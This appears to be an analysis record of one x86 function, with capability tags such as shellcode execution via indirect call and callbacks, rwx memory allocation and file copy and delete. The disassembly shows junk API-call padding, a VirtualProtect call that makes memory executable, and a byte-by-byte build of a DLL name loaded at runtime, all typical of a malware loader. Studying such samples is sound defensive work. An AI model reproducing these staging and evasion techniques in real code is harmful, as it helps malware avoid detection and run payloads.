Function at 0x43ab80
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1cf0
call fcn.00412460
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d19c
jge 0x43abb6
push 0
push 0
push 0
call edi
cmp dword [0x7c9820], 0x6fb
jne 0x43abca
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9afa0a
jle 0x43abe4
cmp ebp, 0xc10b4e
je 0x43abe4
cmp dword [esp + 0x34], 0x9068a6c
jne 0x43abed
inc esi
cmp esi, 0x83358
jl 0x43aba6
cmp dword [0x7c9820], 0xcf8
jne 0x43ac1f
push 0
push 0
call fcn.00407671
push 0
push 0
call fcn.00415a24
add esp, 0x10
lea eax, [esp + 0x50]
push eax
call fcn.004059d0
push 0
call fcn.00407c10
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x43ac3a
mov eax, 0x5d1
add dword [0x7c9820], eax
cmp dword [0x7c9820], 3
jne 0x43ac51
push 0
push 0
lea ecx, [esp + 0x108]
push ecx
call edi
inc esi
cmp esi, 0x1518d4
jl 0x43ac27
mov edx, dword [0x7c9820]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x449884], eax
mov eax, dword [0x7c9820]
xor esi, esi
test eax, eax
je 0x43acc1
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x43ac98
push 0
lea eax, [esp + 0x104]
push eax
call ebx
call fcn.0043a6a0
mov eax, dword [0x7c9820]
cmp eax, 0x29
jne 0x43acbc
push 0
push 0
lea ecx, [esp + 0x108]
push ecx
push 0
call edi
mov eax, dword [0x7c9820]
inc esi
cmp esi, eax
jb 0x43ac85
cmp eax, 0x70
jne 0x43adbd
lea edx, [esp + 0x1100]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0x404284
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0xd00]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
lea ecx, [esp + 0x904]
push ecx
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea edx, [esp + 0x14]
push edx
push 0
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
call esi
push 0x4042a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0x4042c8
push 0x4042dc
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea ecx, [esp + 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea edx, [esp + 0x1508]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x7c9820]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov dword [esp + 0x14], 0x9682ab
lea ecx, [ecx]
cmp eax, 3
jne 0x43ae0e
push 0x404318
push 0
lea eax, [esp + 0x1508]
push eax
push 0x40433c
push 0x404370
push 0x4043ac
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0x7c9820]
cmp eax, 0xdf
jne 0x43aea4
push 0x4043ec
push 0
push 0
call edi
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
push ecx
push ecx
lea edx, [esp + 0x90c]
push edx
push ecx
mov dword [esp + 0x30], ecx
call ebp
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call esi
push 0x404410
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x404420
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x404494
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x7c9820]
dec dword [esp + 0x14]
jne 0x43ade0
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1ff896f4
nop
push 0
call edi
call ebx
dec esi
jne 0x43aec0
mov eax, dword [0x7c9820]
mov ecx, dword [0x449884]
lea edx, [esp + 0x18]
push edx
push 0x40
push eax
push ecx
mov byte [0x444af0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0043a980
mov eax, 0
add dword [0x449884], eax
mov ebx, 0x6c
push 0x444af0
mov dword [0x444af6], 0x6c642e32
mov dword [0x444af0], 0x6d69736d
mov word [0x444afa], bx
mov word [0x444af4], 0x3367
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, 0x73
mov eax, 0x6d
mov ecx, 0x33
mov word [0x7c8832], dx
mov word [0x7c8836], ax
mov word [0x7c883a], cx
xor eax, eax
cmp dword [0x7c9820], 0xc30
mov edx, ebx
mov ecx, 0x64
mov word [0x7c8842], dx
mov word [0x7c8846], ax
mov word [0x7c8840], cx
mov edx, 0x67
mov eax, 0x69
mov ecx, 0x6d
mov word [0x7c8838], dx
mov word [0x7c8834], ax
mov word [0x7c8830], cx
mov word [0x7c8844], bx
mov dword [0x7c883c], 0x2e0032
jne 0x43b043
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea ecx, [esp + 0x1100]
push ecx
push 0x404498
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push esi
lea edx, [esp + 0x1c]
push edx
push esi
lea eax, [esp + 0x90c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea ecx, [esp + 0xd04]
push ecx
push 0x4044d8
call esi
push 0
lea edx, [esp + 0x104]
push edx
push 0x4044ec
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0x18]
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret